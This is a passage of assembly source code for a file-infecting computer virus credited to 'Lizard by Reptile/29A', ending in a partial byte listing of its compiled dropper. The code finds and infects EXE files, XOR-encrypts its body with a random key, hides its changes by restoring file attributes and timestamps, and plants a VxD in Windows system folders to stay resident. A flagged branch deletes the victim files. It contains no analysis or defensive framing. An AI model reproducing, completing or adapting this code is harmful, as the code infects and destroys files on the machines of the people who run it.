lea edx,vxdheader
|
||||
vxdint 21h
|
||||
|
||||
mov ax,4201h ;jmp over zeros
|
||||
xor cx,cx
|
||||
mov dx,3400
|
||||
vxdint 21h
|
||||
|
||||
mov ah,3fh ;store the vxddata
|
||||
mov cx,vxddsize
|
||||
lea edx,vxddata
|
||||
vxdint 21h
|
||||
|
||||
mov ax,4201h ;jmp over realmodecode and zeros
|
||||
xor cx,cx
|
||||
mov dx,2037
|
||||
vxdint 21h
|
||||
|
||||
mov ah,3fh ;store the vxdcode
|
||||
mov cx,vxdcsize
|
||||
lea edx,vxdcode
|
||||
vxdint 21h
|
||||
|
||||
mov ah,3eh ;close...
|
||||
vxdint 21h
|
||||
|
||||
mov dflag,1 ;set flag
|
||||
;-----------------------------------------------------------------------------
|
||||
done:
|
||||
mov ah,1ah ;set dta
|
||||
lea edx,ndta
|
||||
vxdint 21h
|
||||
|
||||
ffirst:
|
||||
mov ah,4eh ;search for first exe
|
||||
jmp short w
|
||||
fnext:
|
||||
mov ah,4fh ;find next exe
|
||||
w:
|
||||
mov cx,7
|
||||
lea edx,wcard ;*.e?e
|
||||
vxdint 21h
|
||||
jc ecsit
|
||||
|
||||
mov ax,4301h ;set normal attribute
|
||||
mov cx,20h
|
||||
lea edx,[ndta + 30]
|
||||
vxdint 21h
|
||||
|
||||
cmp pflag,1 ;sux0ring microsuckers
|
||||
jne pheeew ;(the payload in v1.0 was a bit too destructive ;)
|
||||
|
||||
evil:
|
||||
;evil payload against the imperialism of microsoft!
|
||||
mov ah,41h ;yhcrana
|
||||
lea edx,[ndta + 30]
|
||||
vxdint 21h
|
||||
jmp ecsit
|
||||
|
||||
pheeew:
|
||||
mov ax,3d02h ;open the victim
|
||||
lea edx,[ndta + 30]
|
||||
vxdint 21h
|
||||
jc fnext
|
||||
xchg ax,bx
|
||||
|
||||
mov ah,3fh ;read header
|
||||
mov cx,26
|
||||
lea edx,header
|
||||
vxdint 21h
|
||||
|
||||
cmp word ptr [header],'ZM' ;exe?
|
||||
jne cfile
|
||||
cmp word ptr [header + 0ch],0ffffh ;allocate all mem?
|
||||
jne cfile
|
||||
cmp word ptr [header + 18h],40h ;win exe?
|
||||
je cfile
|
||||
mov al,[header + 12h] ;infected?
|
||||
or al,al
|
||||
jne cfile
|
||||
|
||||
;save ss:sp
|
||||
mov ax,word ptr [header + 0eh]
|
||||
mov sseg,ax
|
||||
mov ax,word ptr [header + 10h]
|
||||
mov ssp,ax
|
||||
|
||||
;save cs:ip
|
||||
mov eax,dword ptr [header + 14h]
|
||||
mov csip,eax
|
||||
|
||||
mov ax,4202h ;eof
|
||||
xor cx,cx
|
||||
cwd
|
||||
vxdint 21h
|
||||
|
||||
;calc new cs:ip
|
||||
mov cx,16
|
||||
div cx
|
||||
sub ax,word ptr [header + 8]
|
||||
|
||||
mov word ptr [header + 14h],dx
|
||||
mov word ptr [header + 16h],ax
|
||||
|
||||
add edx,vend ;calc stack
|
||||
|
||||
mov word ptr [header + 0eh],ax
|
||||
mov word ptr [header + 10h],dx
|
||||
|
||||
;xor encryption
|
||||
rdnm:
|
||||
in al,40h
|
||||
or al,al
|
||||
je rdnm
|
||||
mov [encval],al ;save random value
|
||||
|
||||
mov edi,offset32 encstart
|
||||
mov cx,esize
|
||||
xl:
|
||||
xor [edi],al
|
||||
inc edi
|
||||
loop xl
|
||||
|
||||
;write virus
|
||||
mov ah,40h
|
||||
mov cx,vsize
|
||||
mov edx,offset32 start
|
||||
vxdint 21h
|
||||
|
||||
;undo
|
||||
mov al,[encval]
|
||||
mov edi,offset32 encstart
|
||||
mov cx,esize
|
||||
|
||||
xll:
|
||||
xor [edi],al
|
||||
inc edi
|
||||
loop xll
|
||||
|
||||
mov ax,4202h ;eof
|
||||
xor cx,cx
|
||||
cwd
|
||||
vxdint 21h
|
||||
|
||||
mov cx,512 ;calc pages
|
||||
div cx
|
||||
or dx,dx
|
||||
jz short np
|
||||
inc ax
|
||||
np:
|
||||
mov word ptr [header + 4],ax
|
||||
mov word ptr [header + 2],dx
|
||||
|
||||
mov ax,4200h ;bof
|
||||
xor cx,cx
|
||||
cwd
|
||||
vxdint 21h
|
||||
|
||||
rnd:
|
||||
in al,40h ;set infection flag
|
||||
or al,al
|
||||
je rnd
|
||||
mov [header + 12h],al
|
||||
|
||||
mov ah,40h ;write new header
|
||||
mov cx,26
|
||||
lea edx,header
|
||||
vxdint 21h
|
||||
|
||||
cfile:
|
||||
mov cl,byte ptr [ndta + 21] ;restore attribute
|
||||
lea edx,[ndta + 1eh]
|
||||
mov ax,4301h
|
||||
vxdint 21h
|
||||
|
||||
mov cx,word ptr [ndta + 22] ;restore time/date
|
||||
mov dx,word ptr [ndta + 24]
|
||||
mov ax,5701
|
||||
vxdint 21h
|
||||
|
||||
mov ah,3eh ;close file
|
||||
vxdint 21h
|
||||
jmp fnext
|
||||
|
||||
ecsit:
|
||||
VMMcall End_Nest_Exec
|
||||
Pop_Client_State
|
||||
|
||||
prevhook:
|
||||
stc
|
||||
ret
|
||||
EndProc int21h
|
||||
;-----------------------------------------------------------------------------
|
||||
BeginProc LZD_Control
|
||||
Control_Dispatch Init_Complete,LZD_Device_Init
|
||||
clc
|
||||
ret
|
||||
EndProc LZD_Control
|
||||
wb db 13,10,'Lizard by Reptile/29A',0
|
||||
VxD_Locked_Code_Ends
|
||||
End ;this is the end my only friend the end...
|
||||
|
||||
;---[RMLZD.ASM]---------------------------------------------------------------
|
||||
|
||||
;Lizard's real mode portion
|
||||
|
||||
.286
|
||||
|
||||
vxdhsize equ 701
|
||||
vxddsize equ 81
|
||||
vxdcsize equ 880
|
||||
esize equ encend - encstart
|
||||
rmsize equ rmend - rmstart
|
||||
|
||||
.model tiny
|
||||
|
||||
.code
|
||||
org 100h
|
||||
start:
|
||||
rmstart:
|
||||
;get delta
|
||||
;-----------------------------------------------------------------------------
|
||||
call $ + 3
|
||||
drazil:
|
||||
pop si
|
||||
sub si,offset drazil
|
||||
push si
|
||||
pop bp
|
||||
;-----------------------------------------------------------------------------
|
||||
push ds ;coz psp
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
;decrypt it
|
||||
db 176 ;mov al
|
||||
encval db 0
|
||||
;-----------------------------------------------------------------------------
|
||||
lea di,[bp + offset encstart]
|
||||
mov cx,esize
|
||||
xd:
|
||||
jmp fj
|
||||
fj2:
|
||||
inc di
|
||||
loop xd
|
||||
jmp encstart
|
||||
fj:
|
||||
xor [di],al
|
||||
jmp fj2
|
||||
;-----------------------------------------------------------------------------
|
||||
encstart:
|
||||
mov ax,3d00h ;try to open lzd.vxd in
|
||||
lea dx,[bp + offset dropname1] ;c:\windows\system\iosubsys
|
||||
int 21h
|
||||
jnc cfile ;exit if already installed
|
||||
mov ah,3ch ;install lzd.vxd
|
||||
xor cx,cx
|
||||
int 21h
|
||||
jnc inst
|
||||
|
||||
mov ax,3d00h ;try to open lzd.vxd in
|
||||
lea dx,[bp + offset dropname2] ;c:\win95\system\iosubsys
|
||||
int 21h
|
||||
jnc cfile
|
||||
mov ah,3ch
|
||||
xor cx,cx
|
||||
int 21h
|
||||
jnc inst
|
||||
|
||||
mov ax,3d00h ;try to open lzd.vxd in
|
||||
lea dx,[bp + offset dropname3] ;c:\windows.000\system\iosubsys
|
||||
int 21h
|
||||
jnc cfile
|
||||
mov ah,3ch
|
||||
xor cx,cx
|
||||
int 21h
|
||||
jc exit
|
||||
|
||||
inst:
|
||||
xchg ax,bx
|
||||
|
||||
mov ah,40h ;write the header
|
||||
mov cx,vxdhsize
|
||||
lea dx,[bp + offset vxdheader]
|
||||
int 21h
|
||||
|
||||
;write some zeros
|
||||
mov cx,3400
|
||||
lzero:
|
||||
push cx
|
||||
mov ah,40h
|
||||
mov cx,1
|
||||
lea dx,[bp + zero]
|
||||
int 21h
|
||||
pop cx
|
||||
loop lzero
|
||||
|
||||
mov ah,40h ;write the data
|
||||
mov cx,vxddsize
|
||||
lea dx,[bp + offset vxddata]
|
||||
int 21h
|
||||
|
||||
mov ah,40h ;write the rmcode
|
||||
mov cx,rmsize
|
||||
lea dx,[bp + offset rmstart]
|
||||
int 21h
|
||||
|
||||
;write some more zeros
|
||||
mov cx,1732
|
||||
lzero2:
|
||||
push cx
|
||||
mov ah,40h
|
||||
mov cx,1
|
||||
lea dx,[bp + zero]
|
||||
int 21h
|
||||
pop cx
|
||||
loop lzero2
|
||||
|
||||
mov ah,40h ;write the code
|
||||
mov cx,vxdcsize
|
||||
lea dx,[bp + offset vxdcode]
|
||||
int 21h
|
||||
|
||||
cfile:
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
|
||||
;exe return
|
||||
exit:
|
||||
pop ax ;psp
|
||||
add ax,11h
|
||||
dec ax
|
||||
add word ptr [bp + offset csip + 2],ax
|
||||
|
||||
;stack
|
||||
db 5 ;add ax
|
||||
sseg dw 0fff0h ;test
|
||||
mov ss,ax
|
||||
|
||||
db 0bch ;mov sp
|
||||
ssp dw 0fffeh
|
||||
|
||||
db 0eah
|
||||
csip dd 0fff00000h
|
||||
|
||||
zero db 0
|
||||
|
||||
dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0
|
||||
dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0
|
||||
dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0
|
||||
rmend:
|
||||
vxdheader db vxdhsize dup (?)
|
||||
vxddata db vxddsize dup (?)
|
||||
vxdcode db vxdcsize dup (?)
|
||||
encend:
|
||||
ends
|
||||
end start
|
||||
|
||||
;---[RMLZD.INC]---------------------------------------------------------------
|
||||
|
||||
;Modified db listing of rmlzd.com
|
||||
|
||||
start:
|
||||
db 0E8h, 000h, 000h, 05Eh, 081h, 0EEh, 003h, 001h
|
||||
db 056h, 05Dh, 01Eh, 00Eh, 01Fh, 0B0h
|
||||
;db 000h
|
||||
encval db 0
|
||||
db 08Dh
|
||||
db 0BEh, 021h, 001h, 0B9h, 08Eh, 007h, 0EBh, 005h
|
||||
db 047h, 0E2h, 0FBh, 0EBh, 004h, 030h, 005h, 0EBh
|
||||
db 0F7h
|
||||
encstart:
|
||||
db 0B8h, 000h, 03Dh, 08Dh, 096h, 0C6h, 001h
|
||||
db 0CDh, 021h, 073h, 07Fh, 0B4h, 03Ch, 033h, 0C9h
|
||||
db 0CDh, 021h, 073h, 026h, 0B8h, 000h, 03Dh, 08Dh
|
||||
db 096h, 0E9h, 001h, 0CDh, 021h, 073h, 06Ch, 0B4h
|
||||
db 03Ch, 033h, 0C9h, 0CDh, 021h, 073h, 013h, 0B8h
|
||||
db 000h, 03Dh, 08Dh, 096h, 00Ah, 002h, 0CDh, 021h
|
||||
db 073h, 059h, 0B4h, 03Ch, 033h, 0C9h, 0CDh, 021h
|
||||
db 072h, 055h, 093h, 0B4h, 040h, 0B9h, 0BDh, 002h
|
||||
db 08Dh, 096h, 031h, 002h, 0CDh, 021h, 0B9h, 048h
|
||||
db 00Dh, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh
|
||||
db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h
|
||||
db 0B4h, 040h, 0B9h, 051h, 000h, 08Dh, 096h, 0EEh
|
||||
db 004h, 0CDh, 021h, 0B4h, 040h, 0B9h, 031h, 001h
|
||||
db 08Dh, 096h, 000h, 001h, 0CDh, 021h, 0B9h, 0C4h
|
||||
db 006h, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh
|
||||
db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h
|
||||
db 0B4h, 040h, 0B9h, 070h, 003h, 08Dh, 096h, 03Fh
|
||||
db 005h, 0CDh, 021h, 0B4h, 03Eh, 0CDh, 021h, 058h
|
||||
db 005h, 011h, 000h, 048h, 001h, 086h, 0C3h, 001h
|
||||
db | ||||